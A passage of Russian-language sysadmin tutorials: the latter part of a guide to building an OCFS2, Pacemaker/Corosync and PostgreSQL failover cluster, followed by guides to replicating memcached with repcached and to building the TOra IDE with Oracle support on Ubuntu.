add-node --ip 192.168.1.11 --port 7777 --number 1 ocfs2clst node1 root# o2cb add-node --ip 192.168.1.12 --port 7777 --number 2 ocfs2clst node2 root# o2cb add-node --ip 192.168.1.13 --port 7777 --number 3 ocfs2clst node3 Регистрируем кластер (выполнить на каждом узле кластера) root# o2cb register-cluster ocfs2clst Включаем кластер (выполнить на каждом узле кластера) root# o2cb start-heartbeat ocfs2clst Выполняем настройку драйвера ФС (обязательно выполнить на каждом узле кластера) root# dpkg-reconfigure ocfs2-tools Запускать кластер OCFS2 (O2CB) во время загрузки компьютера?: Y Имя кластера, запускаемого во время загрузки компьютера: ocfs2clst Настройки драйвера хранятся в файле /etc/default/o2cb Содержимое файла: # O2CB_ENABLED: 'true' means to load the driver on boot. O2CB_ENABLED=true # O2CB_BOOTCLUSTER: If not empty, the name of a cluster to start. O2CB_BOOTCLUSTER=ocfs2clst # O2CB_HEARTBEAT_THRESHOLD: Iterations before a node is considered dead. O2CB_HEARTBEAT_THRESHOLD=31 # O2CB_IDLE_TIMEOUT_MS: Time in ms before a network connection is considered dead. O2CB_IDLE_TIMEOUT_MS=30000 # O2CB_KEEPALIVE_DELAY_MS: Max. time in ms before a keepalive packet is sent. O2CB_KEEPALIVE_DELAY_MS=2000 # O2CB_RECONNECT_DELAY_MS: Min. time in ms between connection attempts. O2CB_RECONNECT_DELAY_MS=2000 Создание ФС OCFS2 Можно создать разделы на кластерном томе и создавать ФС уже на разделе, но это добавит сложностей при расширении тома, так как придётся вручную править границы раздела с помощью parted/fdisk и после расширять ФС. Но у нас кластерный том планируется целиком отдать под работу СУБД Postgresql, поэтому ФС предлагаю создать сразу на всем томе (в примере это диск /dev/vdb). Выполняем форматирование общего тома на одном из узлов: root# mkfs.ocfs2 -L pg-data --cluster-name=ocfs2clst -N 5 -T datafiles --fs-feature-level=max-features --cluster-stack=o2cb /dev/vdb Описание параметров:
  • -L pg-data - метка ФС
  • --cluster-name=ocfs2clst - имя кластера OCFS2, который управляет ФС
  • -N 5 - максимальное количество узлов, которые могут работать одновременно с ФС, позже можно поменять с помощью tunefs.ocfs2, но рекомендуется создавать структуру заранее
  • -T datafiles - тип хранимых данных, может быть mail, datafiles, vmstore
  • --fs-feature-level=max-features - включаем все доступные возможности ФС, т.к. узлы у нас идентичные
  • --cluster-stack=o2cb - используем для управления ФС стандартный стек o2cb Проверяем, что метки новой ФС видны на всех узлах кластера: root# blkid /dev/vdb /dev/vdb: LABEL="pg-data" UUID="ce92b1e7-30cb-4883-9a92-57c986f76acd" BLOCK_SIZE="4096" TYPE="ocfs2" Вывод команды blkid на всех узлах кластера должен совпадать. Выполняем пробное монтирование Монтирование выполняется 20-30 секунд, так как требует согласования по сети. Выполняем команды на всех узлах кластера. root# mkdir /mnt/ocfs2clst root# mount /dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd /mnt/ocfs2clst Команда mounted.ocfs2 показывает на каких узлах смонтирована ФС. root# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node2, node3 Создаём пробные файлы/папки в каталоге /mnt/ocfs2clst на одном из узлов и проверяем, что они видны на остальных узлах кластера OCFS2. Размонтируем ФС на каждом узле: root# umount /mnt/ocfs2clst Расширение ФС OCFS2 Если потребуется увеличить размер хранилища:
  • Увеличиваем размер тома на СХД
  • Пересканируем том на сервере или перезагружаем узлы кластера
  • Расширяем ФС root# tunefs.ocfs2 -S /dev/vdb Добавление узла в кластер OCFS2 Если потребуется добавить ещё узел (например, node4, с ip 192.168.1.14) в кластер OCFS2, то необходимо выполнить команду на каждом узле: root# o2cb_ctl -C -i -n node4 -t node -a number=4 -a ip_address=192.168.1.14 -a ip_port=7777 -a cluster=ocfs2clst Необходимо заметить, что для обеспечения кворума, количество узлов должно быть нечётным. Установка PostgreSQL Устанавливаем пакеты на все узлы кластера: root# apt install postgresql Отключаем службу на каждом узле кластера, т.к. запуском СУБД будет управлять Pacemaker root# systemctl disable postgresql Настройка Pacemaker/Corosync Установка пакетов root# apt install pacemaker corosync crmsh fence-agents Настройка Corosync Служба Corosync обеспечивает обмен сообщениями между узлами кластера, с помощью неё отслеживается, что узлы работают корректно. А уже на основании информации о том какие узлы доступны, служба Pacemaker принимает решение о запуске сервисов (запуск виртуальных ip-адресов, монтирование файловых систем, запуск процессов СУБД). Настройки Corosync хранятся в файле /etc/corosync/corosync.conf. Рабочий пример файла указан ниже: # Please read the corosync.conf.5 manual page totem { version: 2 cluster_name: pgclst crypto_cipher: aes256 crypto_hash: sha256 } logging { fileline: off to_stderr: yes to_logfile: yes logfile: /var/log/corosync/corosync.log to_syslog: yes debug: off logger_subsys { subsys: QUORUM debug: off } } quorum { provider: corosync_votequorum } nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } Включение шифрования сообщений Corosync Для повышения безопасности можно включить шифрование служебных сообщений при обмене между узлами кластера. Для этого на одном из узлов необходимо выполнить команду: root# corosync-keygen Она создаст файл /etc/corosync/authkey, этот файл необходимо скопировать на другие узлы кластера. root@node1:~# scp /etc/corosync/authkey root@node2:/etc/corosync/authkey root@node1:~# scp /etc/corosync/authkey root@node3:/etc/corosync/authkey В файле настроек /etc/corosync/corosync.conf необходимо задать параметры crypto_cipher и crypto_hash в секции totem: totem { ... crypto_cipher: aes256 crypto_hash: sha256 ... } Если вам необходимо разместить файл-ключ по не стандартному пути, то расположение можно указать с помощью директивы keyfile. После изменений необходимо перезапустить службы на каждом узле: root# systemctl restart corosync pacemaker Параметры узлов кластера Corosync Для работы кластера необходимо указать список узлов. Это делается в секции nodelist. nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } После настройки, копируем файл /etc/corosync/corosync.conf на остальные узлы. Перезагружаем все узлы кластера и проверяем работу службы corosync с помощью команд corosync-quorumtool и crm_mon root@node1:~# corosync-quorumtool -s Quorum information ------------------ Date: Thu Jul 14 21:09:17 2022 Quorum provider: corosync_votequorum Nodes: 3 Node ID: 1 Ring ID: 1.139 Quorate: Yes Votequorum information ---------------------- Expected votes: 3 Highest expected: 3 Total votes: 3 Quorum: 2 Flags: Quorate Membership information ---------------------- Nodeid Votes Name 1 1 node1 (local) 2 1 node2 3 1 node3 root@node1:~# crm_mon -1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Thu Jul 14 21:11:18 2022 * Last change: Thu Jul 14 20:24:25 2022 by root via cibadmin on node1 * 3 nodes configured * 0 resource instances configured Node List: * Online: [ node1 node2 node3 ] Настройка Pacemaker Ресурсы Pacemaker описываются через XML-файлы, я вместо ручного написания xml-объектов буду использовать crm (CRM shell), где параметры ресурсов можно задать в виде аргументов. Смена имени кластера Ранее мы создали кластер OCFS2 с именем ocfs2clst, кластер Corosync с именем pgclst, теперь укажем имя кластера Pacemaker. После установки, имя кластера Pacemaker, обычно debian, поменяем его также на pgclst: root# crm_attribute --query --name=cluster-name scope=crm_config name=cluster-name value=debian root# crm_attribute --type crm_config --name cluster-name --update pgclst Параметры по-умолчанию Меняем параметры по-умолчанию для новых ресурсов:
  • resource-stickiness - "липучесть" ресурса к текущему расположению в кластере (по-умолчанию 0), или "стоимость" переноса ресурса на другой узел. При увеличении значения, pacemaker будет стараться восстановить состояние сбойного ресурса на том же узле, при малом значении - предпочтёт восстановить ресурс запуском на других узлах. root# crm_attribute --type rsc_defaults --name resource-stickiness --update 10
  • migration-threshold - кол-во сбоев ресурса на узле, при превышении которого происходит миграция на другой узел root# crm_attribute --type rsc_defaults --name migration-threshold --update 2 Ассиметричный кластер Можно указать, что для запуска каких-либо ресурсов необходимо наличие явного разрешающего правила. Это может понадобиться если не все узлы кластера идентичны по характеристикам: root# crm_attribute -n symmetric-cluster -v false После включения для каждого ресурса будет необходимо создать правила. crm conf location <имя правила> <имя ресурса> <приоритет>: <узел> Например, для ресурса виртуального ip-адреса (ip-pgclst) можно указать, что c приоритетом 100 он будет размещаться на узле node1, с приоритетом 10 - на узле node2, а на узле node3 его запуск будет запрещён (приоритет -infinity ): root~# crm conf crm(live)configure# location loc-ip-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-3 ip-pgclst -inf: node3 Изоляция узлов (stonith) В Pacemaker для каждого узла необходимо указать метод изоляции (fencing) в случае сбоя сетевой доступности. Осуществляется изоляция с помощью stonith ресурсов. Это могут быть программы для отключения питания на UPS, программы, которые подключаются к гипервизору и принудительно завершают работу виртуальной машины (нашего узла кластера) и много других вариантов. Без STONITH устройств Pacemaker откажется запускать ресурсы: root:~# crm_verify -L -V (unpack_resources) error: Resource start-up disabled since no STONITH resources have been defined (unpack_resources) error: Either configure some or disable STONITH with the stonith-enabled option (unpack_resources) error: NOTE: Clusters with shared data need STONITH to ensure data integrity Errors found during check: config not valid Список устройств для изоляции можно узнать из команды: root# stonith_admin --list-installed Параметры, необходимые устройству для работы, можно узнать: root# stonith -t <имя устройста stonith> -n Простейшие stonith ресурсы можно создать так. Ресурс-пустышка dummy - ничего не отключает: root# crm conf primitive sh-dummy stonith:null params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency sh-dummy SSH-stonith - пытается подключиться к сбойному узлу через SSH и запланировать выключение через службу at (должна быть установлена на всех узлах). root# apt install at root# crm conf primitive fence-ssh stonith:ssh params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency fence-ssh Имитируем сбой на узле node3: root# stonith -t ssh -p "node1 node2 node3" -T reset node3 Для тестирования может понадобится отключение STONITH (НЕ РЕКОМЕНДУЕТСЯ): root~# crm_attribute -n stonith-enabled -v false Очистить ошибки можно командой: root# stonith_admin --cleanup --history=node3 Стоит заметить что, в случае сбоя сети, кроме STONITH устройств, узел кластера может перезагрузить служба OCFS2. Если у какого-либо узла пропадёт связь с другими узлами, но он продолжит посылать heartbeat сообщения на кластерный диск, то через 30 секунд (значение sysctl kernel.panic = 30) этот узел будет перезагружен принудительно. Настройка PostgreSQL для работы под управлением Pacemaker/Corosync Для запуска PostgreSQL необходимо создать три ресурса:
  • Ресурс, который будет монтировать ФС, где расположена БД
  • Ресурс виртуального ip-адреса, по которому будут обращаться клиенты к СУБД
  • Ресурс, запускающий процессы СУБД PostgreSQL После необходимо настроить правила совместного расположения ресурсов и указать порядок запуска. В примере будет созданы ресурсы, обеспечивающие работу экземпляра СУБД. Ресурс, обеспечивающий монтирование ФС с БД Описание ресурса Pacemaker для ФС OCFS2 Ресурс fs-ocfs2 будет монтировать кластерную ФС OCFS2 в каталог /mnt/ocfs2clst на каждом узле. Монтирование будет производится по метке ФС. Том, где расположена БД, у меня имеет UUID метку ce92b1e7-30cb-4883-9a92-57c986f76acd (см. Создание ФС OCFS2). root~# mkdir -p /mnt/ocfs2clst # выполнить на каждом узле root@node1:~# crm conf crm(live/node1)configure# primitive fs-ocfs2 Filesystem \ params device="/dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd" \ directory="/mnt/ocfs2clst" \ fstype=ocfs2 options="rw,relatime,commit=5,coherency=buffered" \ op start timeout=60s interval=0 \ op stop timeout=60s interval=0 \ op monitor timeout=40 interval=20 Полный список параметров монтирования можно узнать на странице https://www.kernel.org/doc/html/latest/filesystems/ocfs2.html По-умолчанию, ресурс запускается только на одном узле, но так как у нас ФС кластерная, необходимо запустить ресурс на всех узлах. Это возможно с помощью клона ресурса: crm(live/node1)configure# clone fs-clone-ocfs2 fs-ocfs2 Проверяем конфигурацию и выходим: crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit После создания ресурса, ФС должна автоматически смонтироваться на всех узлах кластера. root@node1:~# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node3, node2 Правила размещения ресурса на узлах Если указан параметр symmetric-cluster=false, то для запуска ресурсов необходимо указать явные правила, где ресурсы могут запускаться. Указываем, что ресурс кластерной ФС должен запускаться на всех узлах кластера с равным приоритетом 1: root~# crm conf crm(live)configure# location loc-fs-ocfs2-1 fs-clone-ocfs2 1: node1 crm(live)configure# location loc-fs-ocfs2-2 fs-clone-ocfs2 1: node2 crm(live)configure# location loc-fs-ocfs2-3 fs-clone-ocfs2 1: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. Ресурс виртуального ip-адреса Создаём ресурс ip-pgclst виртуального ip-адреса 192.168.1.10. Именно этот ip-адрес будет использовать СУБД для приёма подключений. root~# crm conf crm(live)configure# primitive ip-pgclst IPaddr \ params ip=192.168.1.10 \ op monitor interval=10s Если в атрибутах кластера Pacemaker указан параметр symmetric-cluster=false, то аналогично ресурсу файловой системы создаём правила размещения. Ресурс ip-адреса будет располагаться совместно с СУБД. Если производительность узлов отличается, то можно указать разные приоритеты для запуска. Предположим, что node1 мощнее, чем node2, а node3 вообще исключим для работы СУБД: root~# crm conf crm(live)configure# location loc-ip-pgclst-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-pgclst-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-pgclst-3 ip-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. У меня в примере правила размещения не используются. Ресурс Pacemaker, запускающий процессы СУБД PostgreSQL Инициализация файлов кластера БД PostgreSQL Изменяем владельца и права доступа на каталог с БД: root# chown -R postgres:postgres /mnt/ocfs2clst root# chmod 750 /mnt/ocfs2clst Инициализируем файлы кластера БД PostgreSQL в каталоге /mnt/ocfs2clst/pg-data с включением контроля чётности страниц БД, а после запускаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/initdb -D /mnt/ocfs2clst/pg-data/ -A peer -k postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ start Настройка конфигурации PostgreSQL Подключаемся к СУБД через unix-сокет: root@node1:~# su - postgres postgres@node1:~$ psql Изменяем параметры БД для возможности работы под управлением Pacemaker: psql> alter system set logging_collector=on; psql> alter system lc_messages = 'C.UTF-8'; psql> alter system set listen_addresses='192.168.1.10'; Здесь я включил сборщик сообщений (logging collector), поменял язык сообщений на английский (при работе по Pacemaker, русские сообщения заменялись вопросами) и указал, что СУБД должна принимать соединения только на кластерном ip-адресе. Если потребуется в кластере Pacemaker запустить несколько экземпляров Postgresql, то необходимо разместить unix-сокет СУБД по отдельным каталогам, так как по-умолчанию все экземпляры будут создавать сокет в каталоге /tmp. psql> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-data'; Например, если бы у нас было две БД: СУБД 1, кластерный ip 192.168.1.21, каталог /mnt/ocfs2clst/pg-db1 СУБД 2, кластерный ip 192.168.1.22, каталог /mnt/ocfs2clst/pg-db2 то unix_socket_directories необходимо задать: psql db1> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db1'; psql db2> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db2; В дальнейшем для подключения через unix-сокет необходимо указать путь к нему (команду необходимо выполнять на том узле, где работает СУБД): postgres@node1:~$ psql -h /mnt/ocfs2clst/pg-data/ Редактируем файл /mnt/ocfs2clst/pg-data/pg_hba.conf, разрешаем подключение по сети с паролем: ... # IPv4 network connections host all all all md5 ... После внесения настроек, останавливаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ stop Создание ресурса СУБД PostgreSQL root~# crm configure crm(live/node1)configure# primitive db-pgclst pgsql \ params pgctl="/usr/lib/postgresql/13/bin/pg_ctl" \ psql="/usr/lib/postgresql/13/bin/psql" \ pgdba=postgres \ pglibs="/usr/lib/postgresql/13/lib" \ pgdata="/mnt/ocfs2clst/pg-data" \ socketdir="/mnt/ocfs2clst/pg-data" \ config="/mnt/ocfs2clst/pg-data/postgresql.conf" \ op start timeout=120s interval=0 \ op stop timeout=120s interval=0 \ op monitor timeout=30 interval=30 Значения параметра socketdir в описании ресурса Pacemaker должно совпадать с параметром unix_socket_directories в файле конфигурации PostgreSQL postgresql.conf/postgresql.auto.conf. Правила размещения ресурса на узлах Аналогично ресурсу ip-адреса, если в атрибутах указан параметр symmetric-cluster=false, то создаём правила размещения ресура: root~# crm conf crm(live)configure# location loc-db-pgclst-1 db-pgclst 100: node1 crm(live)configure# location loc-db-pgclst-2 db-pgclst 10: node2 crm(live)configure# location loc-db-pgclst-3 db-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно, тогда СУБД сможет запускаться на любом из узлов, при условии, что ресурсу ip-адреса так же разрешен запуск на всех узлах. У меня в примере правила размещения не используются. Правила, описывающие совместное расположение ресурсов Необходимо, чтобы виртуальный ip-адрес и экземпляра СУБД PostgreSQL располагались на одном узле, иначе СУБД не запустится. crm conf colocation <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответствующее правило: root~# crm conf crm(live/node1)configure# colocation col-ip-pgsql inf: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Правила, описывающие порядок запуска ресурсов Необходимо, чтобы ресурс виртуального ip-адреса и ресурс, монтирующий кластерную ФС OCFS2, запускались раньше ресурса СУБД PostgreSQL. crm conf order <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответсвующие правила: root~# crm conf crm(live/node1)configure# order ord-fs-pgsql Mandatory: fs-clone-ocfs2 db-pgclst crm(live/node1)configure# order ord-ip-pgsql Mandatory: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Проверка работы После настройки ресурсов проверяем, что все они запущены с помощью команды crm_mon: root@node1:~# crm_mon -nr1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Sat Jul 16 18:04:00 2022 * Last change: Sat Jul 16 10:52:30 2022 by root via cibadmin on node2 * 3 nodes configured * 8 resource instances configured Node List: * Node node1: online: * Resources: * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * sh-dummy (stonith:null): Started * Node node2: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * db-pgclst (ocf::heartbeat:pgsql): Started * ip-pgclst (ocf::heartbeat:IPaddr): Started * Node node3: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started Inactive Resources: * No inactive resources Из вывода видно, что СУБД запущена на узле node2. Подключимся к нему через ssh и создадим пользователя в Postgresql: user@pc:~$ ssh user@192.168.1.12 user@node2:~$ sudo su - postgres postgres@node2:~$ psql -h /mnt/ocfs2clst/pg-data/ postgres=# create role pguser login encrypted password 'пароль'; postgres=# \q Проверяем подключение к СУБД с клиента: user@pc:~$ psql -h 192.168.1.10 -U pguser postgres postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) С любого узла кластера перемещаем СУБД на другой узел: root@node1:~# crm_resource --move -r db-pgclst -H node1 или с помощью CRM Shell root@node1:~# crm resource move db-pgclst node1 Определяем где запущен ресурс: root@node1:~# crm_resource -W -r db-pgclst resource db-pgclst is running on: node1 Выполняем повторный запрос с клиента: postgres=> select count(*) from pg_settings; FATAL: terminating connection due to administrator command сервер неожиданно закрыл соединение Скорее всего сервер прекратил работу из-за сбоя до или в процессе выполнения запроса. Подключение к серверу потеряно. Попытка восстановления удачна. psql (14.1, сервер 13.7 (Debian 13.7-0+deb11u1)) postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) Как видно, при перемещении ресурса все соединения с СУБД закрылись, но повторный sql-запрос выполнился успешно. Команды перемещения ресуров crm_resource --move или crm resource move на самом делее создают в базе Pacemaker CIB запись: <rsc_location id="cli-prefer-db-pgclst" rsc="db-pgclst" role="Started" node="node1" score="INFINITY"/> Эта запись указывает в дальнейшем запускать ресурс db-pgclst на узле node1. Для того чтобы вернуть возможность запуска ресурса на любом из узлов достаточно выполнить одну из команд: root# crm_resource -r db-pgclst --clear root# crm resource clear db-pgclst Команды управления кластером Pacemaker root# crm_verify -L -V - проверка конфигурации Pacemaker root# crm_mon -rf - отслеживание статуса ресурсов root# crm_resource -W -r db-pgclst - определить расположение ресурса db-pgclst в кластере root# crm node standby - приостановить работу узла root# crm node online - возобновить работу узла root# crm resource status - посмотреть список ресурсов root# crm resource move db-pgclst node2 - мигрировать ресурс ip-pgclst на узел node2 root# crm resource clear db-pgclst - убрать привязку после переноса root# crm resource stop db-pgclst - остановить ресурс db-pgclst root# crm resource start db-pgclst - запустить работу ресурса db-pgclst root# crm resource cleanup db-pgclst или # crm_resource --resource db-pgclst --cleanup - сброс количества ошибок ресурса root# crm configure delete db-pgclst - удаление ресурса root# cibadmin --query > tmp.xml - создать дамп базы Pacemaker CIB
  •  
    ----* Организация мульти-мастер репликации двух memcached-серверов (доп. ссылка 1)   [комментарии]
     
    Для организации автоматической репликации данных между двумя серверами
    memcached (http://memcached.org/) можно использовать набор патчей
    http://repcached.lab.klab.org/ . Система поддерживает мульти-мастер режим и
    реплицирует данные в асинхронном режиме, поддерживаются все команды memcached
    (set, add, delete, incr/decr, flush_all, cas).
    
    Например, используя репликацию удобно организовать синхронизированное хранение
    в memcached номеров пользовательских сессий, при раздельном обслуживании частей
    сайта несколькими серверами.
    
    Ниже представлен пример настройки двух реплицированных memcached-серверов в Debian/Ubuntu.
    
    Для работы memcached в PHP подключаем соответствующий модуль и указываем
    хранить идентификаторы сессий через него:
    
       extension=memcache.so
       session.save_handler = memcache
       session.save_path = "tcp://192.168.168.61:11211?persistent=1,tcp://192.168.168.62:11211?persistent=1"
    
    При такой конфигурации идентификаторы сессий всегда будут сохраняться сразу на
    двух узлах memcached. Но у такой схемы есть проблемы: если один узел выйдет из
    строя или будет перезагружен, все ранее сохраненные номера на этом узле сессий
    будут потеряны.
    
    Автоматизировать синхронизацию данных между несколькими memcached-серверами
    можно при помощи repcached. При этом репликация производится в прозрачном
    режиме, пользовательские приложения обращаются только к локальному memcached, а
    всю работу по репликации выполняет repcached, делая это в асинхронном режиме.
    
    1. Копируем исходные тексты repcached c http://repcached.lab.klab.org/ ,
    дополнительно установив пакет libevent-dev, который понадобиться для сборки:
    
       # tar xvf memcached-1.2.8-repcached-2.2.tar
       # cd memcached-1.2.8-repcached-2.2/
       # apt-get install libevent-dev checkinstall
    
    Компилируем и устанавливаем в /usr/local/bin/memcached:
    
       # ./configure --enable-replication
       # make
    
    Устанавливаем через создание пакета вместо make install
       # checkinstall
    
    
    Формируем опции для запуска, создаем /etc/default/memcachedrep:
    
        DAEMON_ARGS="-m 64 -p 11211 -u root -P /var/run/memcachedrep.pid -d -x 192.168.168.2 -X 11212"
    
    где 192.168.168.2 - адрес второго сервера, куда следует реплицировать данные,
    11212 - номер порта, который будет использоваться для репликации данных.  На
    втором сервере по аналогии прописываем адрес первого сервера.
    
    Создаем скрипт для запуска /etc/init.d/memcachedrep:
    
    
       #! /bin/sh
       ### BEGIN INIT INFO
       # Provides:             memcached
       # Required-Start:       $syslog
       # Required-Stop:        $syslog
       # Should-Start:         $local_fs
       # Should-Stop:          $local_fs
       # Default-Start:        2 3 4 5
       # Default-Stop:         0 1 6
       # Short-Description:    memcached - Memory caching daemon    replicated
       # Description:          memcached - Memory caching daemon  replicated
       ### END INIT INFO
       # Author: Marcus Spiegel <marcus.spiegel@gmail.com>
    
       PATH=/sbin:/usr/sbin:/bin:/usr/bin
       DESC="memcachedrep"
       NAME=memcached
       DAEMON=/usr/local/bin/$NAME
       DAEMON_ARGS="--options args"
       PIDFILE=/var/run/memcachedrep.pid
       SCRIPTNAME=/etc/init.d/$DESC
       VERBOSE="yes"
       # Exit if the package is not installed
       [ -x "$DAEMON" ] || exit 0
       # Read configuration variable file if it is present
       [ -r /etc/default/$DESC ] && . /etc/default/$DESC
       # Load the VERBOSE setting and other rcS variables
       . /lib/init/vars.sh
       # Define LSB log_* functions.
       # Depend on lsb-base (>= 3.0-6) to ensure that this file is   present.
       . /lib/lsb/init-functions
       #
       # Function that starts the daemon/service
       #
       do_start()
       {
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON --test > /dev/null \
    		|| return 1
    	start-stop-daemon --start --quiet --pidfile $PIDFILE --exec $DAEMON -- \
    		$DAEMON_ARGS \
    		|| return 2
       }
       #
       # Function that stops the daemon/service
       #
       do_stop()
       {
          start-stop-daemon --stop --quiet --retry=TERM/30/KILL/5 --pidfile $PIDFILE --name $NAME
          RETVAL="$?"
          [ "$RETVAL" = 2 ] && return 2
    	start-stop-daemon --stop --quiet --oknodo --retry=0/30/KILL/5 --exec $DAEMON
    	[ "$?" = 2 ] && return 2
    	# Many daemons don't delete their pidfiles when they exit.
    	rm -f $PIDFILE
    	return "$RETVAL"
       }
       #
       # Function that sends a SIGHUP to the daemon/service
       #
       do_reload() {
    	start-stop-daemon --stop --signal 1 --quiet --pidfile $PIDFILE --name $NAME
    	return 0
       }
       case "$1" in
         start)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Starting $DESC" "$NAME"
    	do_start
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         stop)
    	[ "$VERBOSE" != no ] && log_daemon_msg "Stopping $DESC" "$NAME"
    	do_stop
    	case "$?" in
    		0|1) [ "$VERBOSE" != no ] && log_end_msg 0 ;;
    		2) [ "$VERBOSE" != no ] && log_end_msg 1 ;;
    	esac
    	;;
         restart|force-reload)
    	log_daemon_msg "Restarting $DESC" "$NAME"
    	do_stop
    	case "$?" in
    	  0|1)
    		do_start
    		case "$?" in
    			0) log_end_msg 0 ;;
    			1) log_end_msg 1 ;; # Old process is still running
    			*) log_end_msg 1 ;; # Failed to start
    		esac
    		;;
    	  *)
    	  	# Failed to stop
    		log_end_msg 1
    		;;
    	esac
    	;;
         *)
    	#echo "Usage: $SCRIPTNAME {start|stop|restart|reload|force-reload}" >&2
    	echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
    	exit 3
    	;;
       esac
       exit 0
    
    Тестируем:
    
    На первом узле помещаем ключ в хранилище:
    
       $ telnet 127.0.0.1 11211
    
       set foo 0 0 3
       bar
       STORED
    
    На втором узле убеждаемся, что ключи реплицировались успешно:
    
       telnet 127.0.0.1 11211
    
       get foo
       VALUE foo 0 3
       bar
       END
    
    Далее перезапускаем один из memcached-серверов и по аналогии проверяем,
    восстановились ли на нем данные.
    
     
    ----* Установка интегрированной среды TOra с поддержкой Oracle в Ubuntu 8.10 (доп. ссылка 1) (доп. ссылка 2)   Автор: Waster  [комментарии]
     
    TOra (http://tora.sourceforge.net) "Toolkit for Oracle" - полноценная IDE для
    работы с такими СУБД, как Oracle, MySQL, PostgreSQL.
    
    Сегодня я поделюсь успешным опытом установки TOra c поддержкой Oracle на Ubuntu 8.10. 
    По умолчанию, в пакет из репозитория не включена поддержка Oracle (что для меня
    очень и очень странно), поэтому пришлось пересобирать пакет.
    
    Подготовка
    
    Устанавливаем необходимые для сборки пакеты
    
       sudo apt-get install libqt3-mt-dev libqt3-compat-headers libqscintilla-dev build-essential \
          g++ gcc autoconf automake flex zlib1g-dev docbook-xsl debhelper alien libaio1 dpatch
    
    Установка клиента Oracle
    Скачиваем нужные RPM-пакеты с http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html
    
    Нам понадобятся oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm, oracle-instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm,
    oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm
    
    Устанавливаем клиент
       sudo alien -i oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm
       sudo alien -i oracle-instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm
       sudo alien -i oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm
    
    Делаем видимыми библиотеки
       sudo echo /usr/lib/oracle/11.1/client/lib > /etc/ld.so.conf.d/oracle.conf
       sudo ldconfig
    
    Переменные окружения
    
    Устанавливаем переменные окружения и добавляем их в .profile
    
       export ORACLE_HOME=/usr/lib/oracle/11.1/client
       export LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib
       export TNS_ADMIN=/usr/lib/oracle/11.1/client
    
       echo "export ORACLE_HOME=/usr/lib/oracle/11.1/client" >> ~/.profile
       echo "export LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib" >> ~/.profile
       echo "export TNS_ADMIN=/usr/lib/oracle/11.1/client" >> ~/.profile
    
    Сборка TOra
    
    Сохраняем исходники
    
       apt-get source tora
       cd tora-1.x.xx
    
    В файле debian/rules находим строчку (или аналогичную)
    
       ./configure --prefix=/usr --without-oracle --without-rpath --disable-new-check --with-kde \
       --enable-libsuffix= --infodir=/usr/share/info
    
    и меняем ее на
    
       ./configure --prefix=/usr --with-instantclient --with-oracle-includes=/usr/include/oracle/11.1/client \
       --without-kde --without-rpath --disable-new-check --enable-libsuffix= --infodir=/usr/share/info
    
    Если кому хочется с KDE, то поможет ключик --with-kde.
    
    Собираем и устанавливаем TOra
    
          debian/rules binary
          cd ..
          sudo dpkg -i tora_1.x.xx-x_i386.deb
    
